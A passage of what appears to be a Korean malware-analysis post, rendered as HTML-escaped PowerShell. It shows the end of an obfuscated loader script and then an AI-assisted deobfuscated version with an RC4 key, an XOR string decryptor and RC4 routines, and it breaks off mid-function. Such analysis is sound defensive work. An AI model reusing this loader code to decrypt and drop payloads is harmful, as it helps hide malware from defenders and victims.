                   &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB88B8B8BBBB888B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IIlIlIlIllIIllIl&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-BBBB8888BBBBB8BB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;186&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;144&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-BB8BB8B8BBB8B8B8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
          &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB8BB88BB888B8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lllIIlIIlIllllll&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-B888BBBBB8B8B8BB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB88B8B8BBBB888B&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Trim&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                       &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB888888B88BBB&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB8BB88BB888B8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB8BB88BB888B8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
              &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB888888B88BBB&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB8BBBBBB8B88B&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;해당 코드는 ai를 통해 난독화 해제하였습니다.&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$RC4Key&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xf1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x6e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xcd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xc6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x79&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x4c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x66&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xd1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x02&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x33&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xc4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x86&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xe7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xa4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x35&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x8d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x69&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xbd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xd2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x1d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x50&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xf5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xfb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xdf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xaf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x0b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x9e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x53&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xa4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xd3&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# RC4 또는 유사한 XOR 기반 암호화/난독화에 사용되는 함수&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;XORDecryptBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$EncryptedBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$XORKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$DecryptedString&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;foreach&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Byte&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$EncryptedBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$DecryptedString&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Byte&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-bxor&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$XORKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$DecryptedString&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# RC4 암호화/복호화 알고리즘의 핵심 로직 (KSA 및 PRGA)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;RC4&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Data&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$S&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ForEach-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# S-box 초기화&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$j&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-lt&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$j&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$j&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$S&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Key&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$S&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$S&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$S&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$S&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# S-box 스왑&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$j&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Output&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;foreach&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Byte&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$j&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$j&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$S&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$S&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$S&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$S&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$S&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# S-box 스왑&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$K&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$S&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$S&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$S&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$j&lt;/span&gt;&lt;span 